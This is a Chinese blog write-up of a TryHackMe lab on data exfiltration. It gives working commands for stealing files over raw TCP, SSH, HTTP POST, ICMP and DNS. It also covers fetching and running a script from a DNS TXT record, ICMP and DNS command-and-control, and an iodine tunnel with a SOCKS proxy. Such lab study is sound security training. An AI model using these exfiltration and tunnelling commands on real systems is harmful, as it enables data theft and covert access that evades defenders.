tryhackme——Data Exfiltration

article/2025/9/6 15:40:45

文章目录

  • 一、网络拓扑
  • 二、数据泄露分类
    • 2.1 传统数据泄露
    • 2.2 C2通信
    • 2.3 隧道
  • 三、隧道
    • 3.1 Exfiltration using TCP socket
    • 3.2 Exfiltration using SSH
    • 3.3 Exfiltrate using HTTP(S)
      • HTTP隧道
    • 3.4 Exfiltration using ICMP
      • 3.4.1 ICMP数据包结构
      • 3.4.2 MSF实现ICMP数据泄露
      • 3.4.3 ICMP C2通信
    • 3.5 Exfiltration over DNS
      • 3.5.1 DNS配置
      • 3.5.2 Exfiltration over DNS
      • 3.5.3 通过DNS实现C2通信
      • 3.5.4 DNS隧道

数据泄露(Data Exfiltration)指的是将数据从受感染的计算机复制并传输到攻击者的计算机,依赖于 DNS、HTTP、SSH 等网络协议。通常,使用常见协议进行数据泄露很难检测和区分合法流量和恶意流量。

一、网络拓扑

在这里插入图片描述
在这里插入图片描述
使用ssh与跳板机建立连接:

ssh thm@10.10.125.142
# Machine IP: 10.10.125.142
# Username: thm
# Password: tryhackme

二、数据泄露分类

2.1 传统数据泄露

传统的数据泄露场景是将敏感数据从组织网络中转移出去。攻击者可以发起一个或多个网络请求来传输数据,具体取决于数据大小和所使用的协议。所有流量都将单向传输,即从网络内部到外部,一旦数据存储在攻击者的服务器上,攻击者就可以登录服务器并获取数据。通信方向:内网 ------> 外网
在这里插入图片描述

2.2 C2通信

在这里插入图片描述
许多 C2 框架提供了建立通信通道的选项,包括用于发送命令和接收来自受害机器的响应的标准和非传统协议。在 C2 通信中,攻击者发送有限数量的请求,以在受害者机器上执行命令。然后,代理的客户端执行该命令,并通过非传统协议发送包含结果的回复。通信将双向进行:进入网络和从网络发出。(强调攻击者发送命令且接受响应

2.3 隧道

在这里插入图片描述
在隧道攻击场景中,攻击者使用此数据泄露技术在受害者和攻击者的机器之间建立通信通道。该通信通道充当桥梁,使攻击者的机器能够访问整个内部网络,在建立连接的过程中,会有持续的流量发送和接收。

这节主要介绍隧道使用!!!

三、隧道

3.1 Exfiltration using TCP socket

重点如何使用数据编码通过 TCP 窃取数据。相关技术包括:TCP套接字、数据编码和归档。

传统TCP通信的工作原理如下图所示,核心在于一个监听一个请求
在这里插入图片描述
监听JumpBox8080端口:

nc -lvp 8080 > /tmp/task4-creds.data
# nc监听8080端口,一旦收到数据,将其存储在/tmp/目录中,并将其命名为task4-creds.data

在这里插入图片描述

AttackBox上使用sshvictim1建立连接:

ssh thm@victim1.thm.com
# password:tryhackme

读取敏感文件:

cat task4/creds.txt

在这里插入图片描述
使用编码将敏感文件发送到JumpBox

# 将目录task4/打包、编码并通过网络发送到远程主机
tar zcf - task4/ | base64 | dd conv=ebcdic > /dev/tcp/192.168.0.133/8080
# tar zcf - task4/: 将task4目录打包并用gzip压缩,结果输出到标准输出
## tar: 归档工具
## z: 使用gzip压缩
## c: 创建新归档
## f -: 输出到标准输出(stdout)而不是文件
## task4/: 要打包的目录
# | base64:将tar的输出通过管道传递给base64命令,将二进制数据编码为ASCII字符(Base64编码)。
# | dd conv=ebcdic:将Base64编码的数据转换为EBCDIC编码。
## dd:数据转换工具
# > /dev/tcp/192.168.0.133/8080:将数据通过TCP发送到192.168.0.133的8080端口。

在这里插入图片描述
在这里插入图片描述
可以看到,刚刚victim1的敏感数据保存在jumpbox/tmp目录下:
在这里插入图片描述
jumpbox上使用下面的命令将加密数据还原为原始数据:

cd /tmp
# 还原加密数据
dd conv=ascii if=task4-creds.data |base64 -d > task4-creds.tar# 解压压缩包
tar xvf task4-creds.tar
## x:提取tar文件;
## v:详细列出文件;
## f:使用存档文件。

在这里插入图片描述

3.2 Exfiltration using SSH

SSH协议建立了一个安全通道,用于在客户端和服务器之间进行交互和传输数据,因此所有通过网络或互联网传输的数据都是加密的。
在这里插入图片描述
因为jumpboxvictim1都开启ssh服务,可以使用ssh进行数据传输(依赖于 SSH 建立的加密通道传输数据)。在victim1中使用下面的命令:

tar cf - task5/ | ssh thm@jump.thm.com "cd /tmp/; tar xpf -"
# tar zcf - task4/: 将task4目录打包并用gzip压缩,结果输出到标准输出
## tar: 归档工具
## c: 创建新归档
## f -: 输出到标准输出(stdout)而不是文件
# SSH客户端提供了一种无需完整会话即可执行单个命令的方法
## ssh thm@jump.thm.com "cd /tmp/; tar xpf -":ssh联系服务器,并在服务器上执行引号中的命令。
## x:解压归档文件
## p:保留文件权限(如 chmod 权限)
## f -:从 stdin(标准输入)读取tar数据(即tar cf - 传过来的数据)

在这里插入图片描述
在这里插入图片描述

3.3 Exfiltrate using HTTP(S)

通过 HTTP 协议窃取数据是最佳选择之一,因为它很难检测。区分合法和恶意的 HTTP 流量非常困难。我们将在数据窃取中使用 POST HTTP 方法,因为使用GET请求时,所有参数都会记录到日志文件中而使用 POST 请求时则不会(有些也会)。以下是 POST 方法的一些优势:

  • POST 请求永远不会被缓存;
  • POST 请求不会保留在浏览器历史记录中;
  • POST 请求无法被收藏;
  • POST 请求对数据长度没有限制;

假设攻击者控制了web.thm.com,需要将victim1.thm.com中的数据通过http隧道发送到web.thm.com

首先,web.thm.com中应该有一个接收数据的脚本contact.php,内容如下:

# 将post请求中file参数的值写入/tmp/http.bs64
<?php 
if (isset($_POST['file'])) {$file = fopen("/tmp/http.bs64","w");fwrite($file, $_POST['file']);fclose($file);}
?>

victim1.thm.com中执行下面的命令,将敏感数据传输到web.htm.com

curl --data "file=$(tar zcf - task6 | base64)" http://web.thm.com/contact.php
# tar zcf - task6:将task6目录打包并压缩为.tar.gz格式,输出到stdout;
# | base64:将二进制数据编码为ASCII字符(Base64 编码),确保可通过HTTP安全传输;
# $(...):将子命令的输出作为字符串嵌入到父命令中,这里将"tar zcf - task6 | base64"的结果作为字符串赋值给file参数;
# curl --data "file=...":
## --data: 发送POST请求(默认 Content-Type: application/x-www-form-urlencoded);
## "file=...": 构造POST数据。

在这里插入图片描述
web.htm.com中查看收到的数据:

ls /tmp
cat /tmp/http.bs64
# 将文件中的空格替换为+
sudo sed -i 's/ /+/g' /tmp/http.bs64
## sed -i :流编辑器,直接修改文件;
## 替换规则s/原内容/新内容/,g代表替换所有匹配项。
cat /tmp/http.bs64 | base64 -d | tar xvfz -

在这里插入图片描述

上述我们展示了通过HTTP协议进行数据泄露,这意味着所有传输的数据都是明文的。如果在启用SSL的 Web 服务器上应用之前展示的相同技术,可以看到所有传输的数据都将被加密。如果您有兴趣设置自己的HTTPS服务器,建议您访问Digital Ocean。

HTTP隧道

如果HTTP协议隧道技术封装了其他协议,并通过HTTP协议来回发送它们,HTTP 隧道会根据通信信道发送和接收大量HTTP请求!

有如下一个典型的场景:uploader.thm.com服务器可以通过互联网访问,并向所有人提供 Web 服务。然而,app.thm.com服务器在本地运行,仅为内部网络提供服务,如下图所示:
在这里插入图片描述
目的创建一个HTTP隧道通信通道,以便接入内部网络并通过HTTP协议与本地网络设备进行通信

假如uploader.thm.com上有一个Web应用程序,它允许我们将HTTP隧道代理文件上传到uploader.thm.com。上传并连接到该服务器后,我们就能与app.thm.com进行通信。

对于HTTP隧道,我们将使用Neo-reGeorg工具建立访问内部网络设备的通信通道。

需要生成一个加密的客户端文件,并将其上传到受害者的Web服务器。使用如下命令生成加密的客户端文件:

python3 neoreg.py generate -k thm
# 密钥为:thm

在这里插入图片描述
tunnel.php上传到ttp://10.10.144.113/uploader
在这里插入图片描述
通过访问上传的tunnel.phpattackboxuploader.thm.com之间建立http隧道:

root@AttackBox:/opt/Neo-reGeorg# python3 neoreg.py -k thm -u http://10.10.144.113/uploader/files/tunnel.php

在这里插入图片描述
隧道连接成功后,会在本地127.0.0.1:1080启动一个 SOCKS5代理服务,所有发送到这个端口的流量,都会通过隧道转发到目标网络

例如,我们想访问flag.thm.com(其内部 IP 地址为172.20.0.120,端口为80),我们可以使用带有--socks5参数的curl命令:

curl --socks5 127.0.0.1:1080 http://172.20.0.120:80

在这里插入图片描述

3.4 Exfiltration using ICMP

ICMP代表互联网控制消息协议 (ICMP),它是一种用于处理错误报告的网络层协议。路由器等网络设备使用ICMP协议来检查设备之间的网络连接。

请注意,ICMP 协议不是在设备之间发送数据的传输协议。

假设两台主机需要测试网络中的连通性,那么我们可以使用ping命令通过网络发送ICMP数据包,如下图所示。
在这里插入图片描述
HOST1发送一个 ICMP 数据包,其中包含一个回显请求数据包。然后,如果HOST2可访问,它会返回一个 ICMP 数据包,其中包含一个回显应答消息。

3.4.1 ICMP数据包结构

ICMP数据包的结构包含一个可选的数据字段,它可以为空,也可以在通信期间包含随机字符串。作为攻击者,我们可以将数据包含在数据字段中,并通过ICMP数据包将其发送到另一台计算机。另一台计算机必须使用ICMP数据包捕获网络流量才能接收数据。
在这里插入图片描述
使用ping命令发送ICMP数据包:

ping 10.10.144.113 -c 1

在这里插入图片描述
可以看到,ICMP数据包中数据字段被随机字符填充。

Linux操作系统中的ping命令有一个有趣的 ICMP 选项,使用-p参数,我们可以指定 16个字节的十六进制数据,并通过数据包发送。

请注意,-p选项仅适用于Linux操作系统

假设我们拿到了凭证,需要将其通过ICMP协议带出去。可以使用下面的命令:

# 将thm:tryhackme转化为16进制数据
echo "thm:tryhackme" | xxd -p 
# xxd是一个十六进制转储工具(通常用来查看或转换二进制数据)
# -p:表示以纯十六进制连续输出

在这里插入图片描述
再使用ICMP协议传输转化为16进制的凭证:

ping 10.10.144.113 -c 1 -p 74686d3a7472796861636b6d650a

成功填充到ICMP数据包的数据字段中。
在这里插入图片描述

3.4.2 MSF实现ICMP数据泄露

下面,我们将利用MSF实现ICMP数据泄露,其实就是通过MSF自动捕获ICMP数据包中的数据字段。详细来说,MSF会捕获传入的 ICMP 数据包并等待文件开头 (BOF) 触发值;收到触发值后,它会将数据写入磁盘,直到收到文件结尾 (EOF) 触发值

在这里插入图片描述
attackbox上,使用MSF部署ICMP监听模块:

# 选择ICMP监听模块
use auxiliary/server/icmp_exfil
# 设置一个BPF (Berkeley Packet Filter)过滤器
## icmp:仅捕获ICMP协议的数据包
## not src 10.10.176.72:排除源地址为10.10.176.72的ICMP数据包
set BPF_FILTER icmp and not src 10.10.176.72
# 设置监听的网卡
set INTERFACE ens5
run

在这里插入图片描述

使用ssh从attackbox登录到jumpbox,再使用sshjumpbox登录到icmp.thm.com

icmp.thm.com上,使用nping发送一个自定义数据的ICMP数据包:

sudo nping --icmp -c 1 10.10.176.72 --data-string "BOFfile.txt"
# --icmp:指定使用ICMP协议;
# -c 1:只发送一个数据包;
# --data-string "BOFfile.txt":在ICMP包中嵌入自定义字符串“BOFfile.txt”,通常是嵌入到ICMP数据包的数据字段中

在这里插入图片描述

sudo nping --icmp -c 1 10.10.176.72 --data-string "admin:password"
sudo nping --icmp -c 1 10.10.176.72 --data-string "admin2:password2"
sudo nping --icmp -c 1 10.10.176.72 --data-string "EOF"

MSF默认触发触发值:BOFfile.txt,默认结束值:EOF

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

3.4.3 ICMP C2通信

下面,将演示使用ICMPDoor工具通过ICMP协议执行命令。
ICMPDoor原理:攻击者仍然利用ICMP数据包中的数据字段发送命令,命令执行后,受害者机器会将执行输出存放在ICMP数据包的数据字段中,并通过ICMP协议返回给攻击者。
在这里插入图片描述

目的:jump.thm.com作为服务端(主动连接),icmp.thm.com作为客户端(监听)。

icmp.thm.com上使用下面的命令完成监听:

thm@icmp-host:~$ sudo icmpdoor -i eth0 -d 192.168.0.133
# -i: 192.168.0.121的网卡
# 192.168.0.133:jump.thm.com地址,服务端地址

在这里插入图片描述
jump.thm.com上执行下面的命令,建立icmp C2通信:

thm@jump-box$: sudo icmp-cnc -i eth1 -d 192.168.0.121
# -i: 192.168.0.133的网卡
# 192.168.0.121:icmp.thm.com地址,客户端地址

在这里插入图片描述

3.5 Exfiltration over DNS

3.5.1 DNS配置

有一台新的设备加入network 2,域名:attacker.thm.com,IP:172.20.0.200。网络1和网络2的关系如下:
在这里插入图片描述
通过http://10.10.217.212/对DNS进行设置:
在这里插入图片描述
添加A记录:对应权威DNS服务器的IP。当用户查询t1ns.tunnel.com时,DNS系统会返回172.20.0.200
在这里插入图片描述
NS记录:指定某个子域名的权威DNS服务器,告诉客户端该去找哪台服务器解析域名。将t1.tunnel.com的所有查询委托给t1ns.tunnel.com
在这里插入图片描述
当查询xxx.t1.tunnel.com时:

  • 递归 DNS 服务器会先找到t1.tunnel.com的NS记录(指向t1ns.tunnel.com)。
  • t1ns.tunnel.com(IP=172.20.0.200)发起查询,询问xxx.t1.tunnel.com的IP。
  • t1ns.tunnel.com(IP=172.20.0.200)可以自由返回任意 IP(如1.1.1.1或恶意 C2 服务器 IP)。

常见误区澄清:

❌ 误区:xxx.t1.tunnel.com 的 IP == t1ns.tunnel.com的 IP(172.20.0.200)。
✅ 真相:172.20.0.200只是 DNS 服务器的地址,xxx.t1.tunnel.com的 IP 由该服务器动态返回
❌ 误区:NS记录直接返回 IP。
✅ 真相:NS记录只指定权威服务器,需进一步查询A/AAAA/CNAME记录才能获取 IP

3.5.2 Exfiltration over DNS

DNS协议主要目的是将域名解析为IP地址,尽管DNS协议并非设计用于传输数据,但威胁行为者找到了滥用该协议并通过其传输数据的方法。而且,几乎所有组织网络中的防火墙都允许使用 DNS 协议,因此,这里展示通过DNS协议窃取数据的技术。

首先,DNS协议中存在关于域名格式的核心规则:

  • FQDN(完全限定域名)最大长度为255 字节。完整域名长度最长255字节
  • 子域名最大长度为63 字节。下图中WWW最长63字节。
    在这里插入图片描述

基于上述规则,我们可以使用有限的字符数通过域名传输数据。通过DNS进行数据泄露的要求和步骤,具体如下:

  • 攻击者注册一个域名,例如tunnel.com
  • 攻击者将tunnel.com的NS记录指向其控制的服务器(ns1.tunnel.com)。
  • 恶意软件或攻击者将敏感数据从受害计算机发送到其控制的域名,例如 passw0rd.tunnel.com,其中passw0rd是需要传输的数据。
  • DNS请求通过本地DNS服务器发送,并通过互联网转发。
  • 攻击者的权威DNS(恶意服务器)接收DNS请求。
  • 攻击者从域名中提取密码。

在这里插入图片描述

其中,有两个技术细节:

  1. 递归查询过程:
    • DNS解析请求 → 本地DNS服务器;
    • 本地DNS服务器 → 查询根域名服务器 → 找到.com的权威服务器。
    • 查询.com的权威服务器 → 找到tunnel.com的NS记录(指向ns1.tunnel.com)。
    • ns1.tunnel.com(攻击者服务器)发起查询。
  2. DNS协议本身会将完整域名(包括子域名)发送到权威服务器
    例如,查询passw0rd.tunnel.com时,passw0rd会作为查询的一部分到达tunnel.com的权威服务器(攻击者控制)。在查询tunnel.com时,tunnel会作为查询的一部分到达.com的权威服务器。

何时需要使用DNS数据渗透

典型的场景是防火墙阻止并过滤所有流量,我们可以使用DNS协议让数据或 TCP/UDP 数据包穿过防火墙,但务必确保 DNS 被允许访问,并将域名解析为 IP 地址。

修改DNS记录

现在,让我们尝试在提供的网络环境中执行 DNS 数据泄露。请注意,在本场景中,我们将使用 tunnel.com 域名。我们还提供了一个 Web 界面,用于修改 tunnel.com 的 DNS 记录,以插入指向 AttackBox 计算机的名称服务器 (NS)。请确保在任务 8 中完成这些设置。

DNS 数据泄露

现在,解释一下手动DNS数据泄露技术及其工作原理。假设我们有一个包含敏感数据的creds.txt文件,要通过DNS协议传输该文件,我们需要对文件内容进行编码,并将其作为子域名附加,如下所示:
在这里插入图片描述

  1. 获取需要传输的数据;
  2. 使用一种编码技术对文件进行编码;
  3. 将编码后的字符作为子域名发送。

注意

  • 我们可以向域名添加尽可能多的数据,但必须将整个URL限制在255个字符以内,并且每个子域名标签不能超过63个字符
  • 如果超出这些限制,需要拆分数据并发送更多DNS请求。

首先,在jumpbox通过ssh协议登录到攻击者电脑上:

thm@jump-box$ ssh thm@attacker.thm.com

为了接收所有DNS请求,我们在攻击者电脑上使用tcpdump工具捕获任何传入的 UDP/53数据包的网络流量。

thm@attacker$ sudo tcpdump -i eth0 udp port 53 -v 

在这里插入图片描述
jumpbox通过ssh协议登录到victim2电脑上:

thm@jump-box$ ssh thm@victim2.thm.com

假设要传输的敏感数据为credit.txt

在这里插入图片描述
为了发送文件的内容,我们需要将其转换为字符串表示形式,这可以使用任何编码表示形式(例如 Base64、十六进制、二进制等)来完成。这里我们使用Base64对文件进行如下编码:

thm@victim2$ cat task9/credit.txt | base64

在这里插入图片描述
然后,我们需要根据输出的长度(DNS 限制)将其拆分为一个或多个 DNS 请求,并将其作为子域名附加。让我们先从拆分多个DNS请求开始,演示这两种方法。

DNS拆分方法1

thm@victim2:~$ cat task9/credit.txt | base64 | tr -d "\n"| fold -w18 | sed -r 's/.*/&.att.tunnel.com/'
# | tr -d "\n":删除所有的换行符,使Base64编码成为连续的单行字符串。
## tr:translate是一个字符替换/删除工具。
## -d:删除指定的字符。
## "\n" 代表换行符。
# | fold -w18:将长字符串按每18个字符一行进行折行。
## fold:一个文本折行工具。
## -w18:每行最多 18 个字符。
# | sed -r 's/.*/&.att.tunnel.com/':在每一行的末尾添加.att.tunnel.com后缀。
## sed:流编辑器,用于文本替换/处理。
## -r:使用正则表达式(支持&等特殊符号)。
## s/.*/&.att.tunnel.com/:正则表达式规则:
### .* 匹配整行内容。
### & 代表匹配到的内容(即整行)。
### &.att.tunnel.com,即原内容+.att.tunnel.com。

在这里插入图片描述

DNS拆分方法2

thm@victim2:~$ cat task9/credit.txt |base64 | tr -d "\n" | fold -w18 | sed 's/.*/&./' | tr -d "\n" | sed s/$/att.tunnel.com/
# sed 's/.*/&./':在每一行的末尾添加一个点.。
# sed s/$/att.tunnel.com/:在每一行的末尾添加 att.tunnel.com
## $:匹配行尾

在这里插入图片描述

使用第二种方法通过DNS实现数据泄露:

thm@victim2:~$ cat task9/credit.txt |base64 | tr -d "\n" | fold -w18 | sed 's/.*/&./' | tr -d "\n" | sed s/$/att.tunnel.com/ | awk '{print "dig +short " $1}' | bash
# awk '{print "dig +short " $1}':读取输入内容,批量生成dig +short查询命令。
## awk:awk是一个文本处理工具,按行处理输入数据;
## {print "dig +short " $1}:对每一行执行;
### $1:提取该行的第一列(默认以空格/Tab分隔)。
# | bash:将awk生成的命令通过管道传递给bash解释器直接执行

在这里插入图片描述
在攻击机上可以看到DNS解析记录:
在这里插入图片描述
恢复敏感数据:

thm@attacker:~$ echo "TmFtZTogVEhNLXVzZX.IKQWRkcmVzczogMTIz.NCBJbnRlcm5ldCwgVE.hNCkNyZWRpdCBDYXJk.OiAxMjM0LTEyMzQtMT.IzNC0xMjM0CkV4cGly.ZTogMDUvMDUvMjAyMg.pDb2RlOiAxMzM3Cg==.att.tunnel.com." | cut -d"." -f1-8 | tr -d "." | base64 -d
# cut -d"." -f1-8:提取前8个以.分隔的部分。
## -d".":指定分隔符为.(默认是 Tab);
## -f1-8:选择第1到第8个字段(以.分割的部分);
# tr -d ".":删除所有.字符,将多行合并为连续的Base64字符串。

在这里插入图片描述

3.5.3 通过DNS实现C2通信

除了通过DNS协议传输敏感信息,还可以通过TXT记录下发命令脚本。
首先,为script.tunnel.com设置txt记录,内容为下面脚本的base64编码:

## /tmp/script.sh脚本内容
#!/bin/bash 
ping -c 1 test.thm.com## 脚本内容进行base64编码
cat /tmp/script.sh | base64

在这里插入图片描述
victim2上请求script.tunnel.comTXT记录,将会返回base64化的脚本内容。
在这里插入图片描述

在这里插入图片描述
使用下面命令执行脚本内容

dig +short -t TXT script.tunnel.com | tr -d "\"" | base64 -d | bash
# tr -d "\"":删除";
# | base64 -d | bash:解码后让bash执行。

在这里插入图片描述

3.5.4 DNS隧道

DNS隧道:此技术也称为 TCP over DNS,攻击者使用 DNS 数据泄露技术,将其他协议(例如 HTTP 请求)封装在DNS协议上。DNS 隧道建立了一个通信通道,用于持续发送和接收数据。

我们将使用iodine工具创建 DNS 隧道通信。要建立 DNS 隧道,需要遵循以下步骤:

  • 确保更新 DNS 记录并创建新的 NS 指向AttackBox.
  • 从AttackBox运行iodined服务器。 (注意:服务器端我们使用iodined
  • JumpBox上运行iodine客户端建立连接。(注意:客户端我们使用iodine
  • 通过 SSH 连接到已创建的网络接口上的机器,以创建 DNS 代理。我们将使用 -D 参数创建动态端口转发。
  • 建立 SSH 连接后,我们可以在 Firefox 或 ProxyChains 中使用本地 IP 和本地端口作为代理。

iodine工作原理:

  1. DNS 隧道建立
    • 服务端(此命令)监听来自客户端的 DNS 查询(通常是对 att.tunnel.com 的子域名请求)。
    • 所有隧道数据被编码为 DNS 请求/响应(如 data123.att.tunnel.com)。
  2. 虚拟网络配置
    • 服务端创建一个虚拟网络接口(如 dns0),IP 为 10.1.1.1。
    • 客户端连接后,会分配到 10.1.1.2、10.1.1.3 等 IP,形成点对点网络。
  3. 数据传输
    • 客户端将流量封装到 DNS 查询中,发送到服务端。
    • 服务端解码后转发到真实网络,并将响应通过 DNS 返回。

在攻击机上运行下面的命令:

thm@attacker$ sudo iodined -f -c -P thmpass 10.1.1.1/24 att.tunnel.com
# -f:前台运行(显示调试信息,不转为后台进程)
# -c:禁用客户端 IP 检查(允许任何客户端连接)
# -P thmpass:设置认证密码为 thmpass(客户端需匹配)
# 10.1.1.1/24:指定隧道内使用的虚拟 IP 范围(服务端占用 10.1.1.1)
# att.tunnel.com:攻击者控制的域名,用于封装DNS请求

在这里插入图片描述
jumpbox上运行下面的命令,连接服务端:

thm@jump-box:~$ sudo iodine -P thmpass att.tunnel.com

在这里插入图片描述
通过查看jumpbox上的ifconfig,可以看到一个虚拟网卡;
在这里插入图片描述
在攻击机(172.20.0.200)上可以通过ssh与iodine客户端(jumpbox)建立联系,实现DNS隧道+SSH加密的目的:

root@attacker$ ssh thm@10.1.1.2 -4 -f -N -D 1080
# -4:强制使用IPv4(禁用IPv6)
# -f:后台运行(连接成功后转入后台)
# -N:不执行远程命令(仅建立隧道)
# -D 1080:在本地1080端口开启SOCKS代理

在这里插入图片描述
通过socks5代理实现隧道通信:

curl --socks5 127.0.0.1:1080 http://192.168.0.100/test.php

核心:DNS隧道突破限制 → SSH加密增强隐蔽性 → SOCKS代理标准化使用
流量方向:攻击者 → 攻击者1080端口 → SSH加密 → 10.1.1.2服务器(跳板机) → 目标网站/服务


http://www.hkcw.cn/article/MTfyCLEoje.shtml

相关文章

计算机毕业设计酒店后台管理系统(vue+springboot+mysql+开题+论文)

摘要&#xff1a; 本文将介绍一个基于Vue.js、Spring Boot和MySQL的酒店后台管理系统毕业设计项目。该项目旨在为酒店提供高效、便捷、安全的管理平台&#xff0c;实现客房管理、订单管理、客户管理、员工管理等功能。本文将涵盖项目背景、技术选型、系统架构、功能模块、数据库…

华为OD机试真题——告警抑制(2025A卷:100分)Java/python/JavaScript/C/C++/GO最佳实现

2025 A卷 100分 题型 本专栏内全部题目均提供Java、python、JavaScript、C、C++、GO六种语言的最佳实现方式; 并且每种语言均涵盖详细的问题分析、解题思路、代码实现、代码详解、3个测试用例以及综合分析; 本文收录于专栏:《2025华为OD真题目录+全流程解析+备考攻略+经验分…

LabVIEW旋转机械智能监测诊断系统

采用 LabVIEW 开发旋转机械智能监测与故障诊断系统&#xff0c;通过集品牌硬件与先进信号处理技术&#xff0c;实现旋转机械振动信号的实时采集、分析及故障预警。系统突破传统监测手段的局限性&#xff0c;解决了复杂工业环境下信号干扰强、故障特征提取难等问题&#xff0c;为…

学习路之PHP--easyswoole简易增删改查入门

这里写目录标题 0、安装orm插件一、创建数据库二、创建模型三、 0、安装orm插件 composer require easyswoole/orm一、创建数据库 表&#xff1a; CREATE TABLE cases (id int(11) NOT NULL AUTO_INCREMENT COMMENT 主键,title varchar(200) CHARACTER SET utf8 COLLATE utf…

C++通用日志模块

概述 在 C 项目中开发时经常需要日志模块&#xff0c;为了不引入其它第三方日志模块包的基础上&#xff0c;基于标准的 C17 的基础自己封装了一个日志模块 功能总结 日志分等级&#xff08;DEBUG / INFO / WARN / ERROR&#xff09;支持日志文件轮转&#xff0c;自动备份旧日…

Arbitrum Stylus 合约实战 :Rust 实现 ERC20

在《Arbitrum Stylus 深入解析与 Rust 合约部署实战》篇中&#xff0c;我们深入探讨了 Arbitrum Stylus 的核心技术架构&#xff0c;包括其 MultiVM 机制、Rust 合约开发环境搭建&#xff0c;以及通过 cargo stylus 实现简单计数器合约的部署与测试。Stylus 作为 Arbitrum Nitr…

ADQ36-2通道2.5G,4通道5G采样PXIE

ADQ36是一款高端12位四通道灵活数据采集板&#xff0c;针对高通道数科学应用进行了优化。ADQ36具有以下特性: 4 / 2模拟输入通道每通道2.5 / 5 GSPS7gb/秒的持续数据传输速率两个外部触发器通用输入/输出&#xff08;GPIO&#xff09;ADQ36数字化仪包括固件FWDAQ ADQ36简介 特…

20中数组去重的方法20种数组去重的方法

开始 本文有很多问题&#xff0c;并没有直接给出答案&#xff0c;大伙有自己思考的可以评论区留言。关于时间复杂度只是一个大体的估计。20种只能说保守了&#xff0c;20种都是单论思路而已&#xff0c;暂时没想到更多的思路&#xff0c;有其他方法的可以评论区留言。 easy模式…

工厂模式 vs 策略模式:设计模式中的 “创建者” 与 “决策者”

在日常工作里&#xff0c;需求变动或者新增功能是再常见不过的事情了。而面对这种情况时&#xff0c;那些耦合度较高的代码就会给我们带来不少麻烦&#xff0c;因为在这样的代码基础上添加新需求往往困难重重。为了保证系统的稳定性&#xff0c;我们在添加新需求时&#xff0c;…

Emacs 折腾日记(二十六)——buffer与窗口管理

本节我们将介绍如何在Emacs中的buffer与窗口管理&#xff0c;目标是快速管理窗口&#xff0c;以及快速在不同buffer中进行切换 基本概念介绍 Emacs与vim相比的一个特点是&#xff0c;Emacs是一个窗口程序&#xff0c;或者说是一个gui程序。而vim是一个终端字符界面程序(当然E…

强化学习(十三)DQN

传统的强化学习算法会使用表格的形式存储状态价值函数 V ( s ) V(s) V(s) 或动作价值函数 Q ( s ) Q(s) Q(s) &#xff0c;但是这样的方法存在很大的局限性。例如&#xff0c;现实中的强化学习任务所面临的状态空间往往是连续的&#xff0c;存在无穷多个状态&#xff0c;在这…

RapidOCR集成PP-OCRv5_det mobile模型记录

该文章主要摘取记录RapidOCR集成PP-OCRv5_mobile_det记录&#xff0c;涉及模型转换&#xff0c;模型精度测试等步骤。原文请前往官方博客&#xff1a; https://rapidai.github.io/RapidOCRDocs/main/blog/2025/05/26/rapidocr%E9%9B%86%E6%88%90pp-ocrv5_det%E6%A8%A1%E5%9E%8B…

【深度学习】13. 图神经网络GCN,Spatial Approach, Spectral Approach

图神经网络 图结构 vs 网格结构 传统的深度学习&#xff08;如 CNN 和 RNN&#xff09;在处理网格结构数据&#xff08;如图像、语音、文本&#xff09;时表现良好&#xff0c;因为这些数据具有固定的空间结构。然而&#xff0c;真实世界中的很多数据并不遵循网格结构&#x…

从“无差别降噪”到“精准语音保留”:非因果优化技术为助听设备和耳机降噪注入新活力

在复杂环境中保持清晰语音感知一直是助听设备与消费级耳机的核心挑战。传统主动降噪&#xff08;ANC&#xff09;技术虽能抑制环境噪声&#xff0c;但会无差别削弱所有声音&#xff0c;导致用户难以听清目标方向的语音&#xff08;如对话者&#xff09;。近年来&#xff0c;开放…

家庭路由器改装,搭建openwrt旁路由以及手机存储服务器,实现外网节点转发、内网穿透、远程存储、接入满血DeepSeek方案

大家好&#xff0c;也是好久没有发文了&#xff0c;最近在捣鼓一些比较有趣的东西&#xff0c;打算跟大家分享一下&#xff01; 先聊一下我的大致方案嘛&#xff0c;最近感觉家里路由器平时一直就只有无线广播供网的功能&#xff0c;感觉这么好的一下嵌入式设备产品不应该就干这…

【Linux】shell脚本的变量与运算

目录 一.变量 1.1什么是变量 1.2变量的命名 1.3变量的调用 1.4字符的转义 1.5变量的取消 二.变量的类型 2.1函数级变量 2.2环境级变量 2.3用户级变量 2.4系统级变量 2.5常见的系统变量 三..特殊变量及定义 3.1用命令的执行结果定义变量 3.2传参变量 3.3交互式传…

Linux进程概念

一.冯诺依曼体系结构 冯诺依曼体系结构是当代计算机的基本结构&#xff0c;它主要包括几个板块&#xff0c;输入设备&#xff0c;输出设备&#xff0c;存储器&#xff0c;运算器和控制器。 下面是简略版的图解析&#xff1a; 输入设备主要包含鼠标&#xff0c;键盘&#xff0…

[9-2] USART串口外设 江协科技学习笔记(9个知识点)

1 2 3 智能卡、IrDA和LIN是三种不同的通信技术&#xff0c;它们在电子和汽车领域中有着广泛的应用&#xff1a; • 智能卡&#xff08;Smart Card&#xff09;&#xff1a; • 是什么&#xff1a;智能卡是一种带有嵌入式微处理器和存储器的塑料卡片&#xff0c;可以存储和处理数…

低代码——表单生成器以form-generator为例

主要执行流程说明&#xff1a; 初始化阶段 &#xff1a; 接收表单配置对象formConf深拷贝配置&#xff0c;初始化表单数据和验证规则处理每个表单组件的默认值和特殊配置&#xff08;如文件上传&#xff09; 渲染阶段 &#xff1a; 通过render函数创建el-form根组件递归渲染表…

奥威BI+AI——高效智能数据分析工具,引领数据分析新时代

随着数据量的激增&#xff0c;企业对高效、智能的数据分析工具——奥威BIAI的需求日益迫切。奥威BIAI&#xff0c;作为一款颠覆性的数据分析工具&#xff0c;凭借其独特功能&#xff0c;正在引领数据分析领域的新纪元。 一、‌零报表环境下的极致体验‌ 奥威BIAI突破传统报表限…